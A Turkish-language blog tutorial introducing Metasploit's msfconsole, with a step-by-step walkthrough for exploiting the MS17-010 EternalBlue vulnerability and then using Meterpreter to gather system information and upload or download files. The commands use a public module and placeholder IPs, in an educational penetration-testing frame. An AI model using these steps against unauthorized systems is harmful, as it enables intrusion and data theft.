Skip to main content
Mikail Aydoğdu

Metasploit Framework ve msfconsole’a Giriş

Metasploit, güvenlik profesyonellerinin güvenlik açıklarını belirlemesine ve sistemleri test etmek ve güvenliğini sağlamak için bunlardan yararlanmasına yardımcı olan güçlü ve yaygın olarak kullanılan bir penetrasyon testi çerçevesidir.

Metasploit Framework Nedir?

Metasploit, güvenlik profesyonellerinin güvenlik açıklarını belirlemesine ve sistemleri test etmek ve güvenliğini sağlamak için bunlardan yararlanmasına yardımcı olan güçlü ve yaygın olarak kullanılan bir penetrasyon testi çerçevesidir.

msfconsole Nedir?

msfconsole, Metasploit Framework’ün komut satırı arayüzüdür. Kullanıcıların modülleri yükleyip çalıştırmalarına, hedef sistemler üzerinde testler yapmalarına ve güvenlik açıklarını sömürmelerine olanak tanır. Kullanımı oldukça esnek ve güçlüdür.

msfconsole’u Başlatma:

 msfconsole

msfconsole Kullanımı

Temel Komutlar

  • help: Mevcut komutların listesini gösterir.
  • search [keyword]: Belirli bir modülü arar.
  • use [module]: Belirli bir modülü seçer.
  • show options: Seçilen modülün seçeneklerini gösterir.
  • set [option] [value]: Modül seçeneklerini yapılandırır.
  • exploit/run: Modülü çalıştırır.

Bir Örnek Saldırı Senaryosu:

MS17–010 EternalBlue Güvenlik Açığını Sömürme Adımları

İlk olarak, msfconsole’u başlatın:

 msfconsole

EternalBlue (MS17–010) güvenlik açığını sömürmek için kullanılacak modülü arayın:

 search eternalblue

Arama sonuçlarında, exploit/windows/smb/ms17_010_eternalblue modülünü seçin:

 use exploit/windows/smb/ms17_010_eternalblue

Index numarasını kullanarak modülü seçebilirsiniz:

 use 0

Seçilen modülün yapılandırma seçeneklerini görüntüleyin:

 show options

Hedef sistemin IP adresini RHOSTS seçeneğine ayarlayın:

 set RHOSTS <IP>

Saldırganın (kendi) IP adresini LHOST seçeneğine ayarlayın:

 set LHOST <IP>

Modülü çalıştırarak saldırıyı başlatın:

 exploit

Oturum Yönetimi

 sessions -l

Açılan oturuma bağlanmak için:

 sessions -i [session_id]

Sömürü Sonrası İşlemler

Meterpreter oturumu içindeyken, çeşitli sömürü sonrası işlemleri gerçekleştirebilirsiniz.

Bilgi Toplama:

 sysinfo

Sistem bilgilerini gösterir.

 getuid

Mevcut kullanıcı kimliğini gösterir.

 ps

Hedef sistemdeki mevcut işlemleri listelemek için kullanılır.

Dosya İşlemleri:

 upload /local/path /remote/path

Dosya yükleme.

 download /remote/path /local/path

Dosya indirme.

Bu adımları takip ederek EternalBlue (MS17–010) güvenlik açığını başarıyla sömürmüş olursunuz.

Metasploit Framework, güvenlik testleri ve etik hacking için vazgeçilmez bir araçtır. Bu yazıda msfconsole’un temel kullanımını ele aldık. Daha ileri seviyede kullanım için Metasploit’in resmi dokümantasyonuna ve topluluk kaynaklarına başvurabilirsiniz.

Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit

Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec

GitHub - rapid7/metasploit-framework: Metasploit Framework

TryHackMe | Metasploit

Using the Metasploit Framework Course | HTB Academy